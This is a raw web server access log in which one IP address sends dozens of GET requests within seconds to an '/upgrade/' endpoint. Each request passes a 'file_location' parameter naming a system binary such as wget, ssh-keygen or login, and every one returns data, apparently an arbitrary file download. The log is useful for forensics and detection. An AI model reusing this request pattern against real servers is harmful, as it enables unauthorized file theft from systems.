45.135.193.11 - - [11/Sep/2026:22:51:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdnf4&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96944 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdnf4&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-conflist&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99798 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-conflist&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgrt-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100541 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgrt-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjson_xs&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98871 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjson_xs&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_waitpid&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 886252 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_waitpid&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-link-enslave&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99506 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-link-enslave&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcatman&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107055 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcatman&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdtrace&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100735 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdtrace&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcsplit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 151236 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcsplit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgen_grub_cfgstub&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95811 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgen_grub_cfgstub&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-kbdcomp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96352 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-kbdcomp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmcookie&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105320 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmcookie&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Faserver&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109249 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Faserver&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-tzinfo-to-sql&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 889111 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-tzinfo-to-sql&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-neigh-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100531 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-neigh-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsfdp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100137 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsfdp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fulockmgr_server&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102018 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fulockmgr_server&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwget&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 349828 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwget&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxb-tool&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106141 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxb-tool&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbcomps&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102740 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbcomps&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_decode_sense&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96413 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_decode_sense&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssh-keygen&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 300848 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssh-keygen&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fword-list-compress&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100061 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fword-list-compress&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzforce&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97025 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzforce&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcal&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 116404 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcal&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffisql&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107731 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffisql&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ficu-config-64&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103831 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ficu-config-64&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100739 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fngettext&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107934 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fngettext&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgit-receive-pack&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 10286292 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgit-receive-pack&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftracker3&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 330923 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftracker3&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fupower&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102184 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fupower&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcanberra-gtk-play&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101269 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcanberra-gtk-play&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg-divert&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 153974 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg-divert&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fid&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111783 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fid&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fld.so&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 533689 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fld.so&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsginit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 119408 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsginit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnss-policy-check&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101493 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnss-policy-check&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpan&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99979 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpan&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgtroff&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 367511 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgtroff&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpphs&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96048 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpphs&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frev&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100872 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frev&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Falias&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95746 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Falias&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpic&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 182115 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpic&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnamed-rrchecker&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102441 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnamed-rrchecker&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fslencheck&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100206 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fslencheck&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftaskset&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104069 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftaskset&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgio-querymodules-64&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100621 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgio-querymodules-64&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mount&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 501019 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mount&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flwp-dump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97070 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flwp-dump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpipewire&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101350 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpipewire&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetkeycodes&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101523 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetkeycodes&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mkstandalone&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 334122 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mkstandalone&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frepo-graph&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97341 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frepo-graph&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsignver&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110106 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsignver&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzip2&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111253 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzip2&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgroups&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108410 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgroups&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flogin&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 112956 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flogin&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmanpath&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105556 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmanpath&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmodulecmd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 282152 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmodulecmd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:52:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-cgls&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103392 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-cgls&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
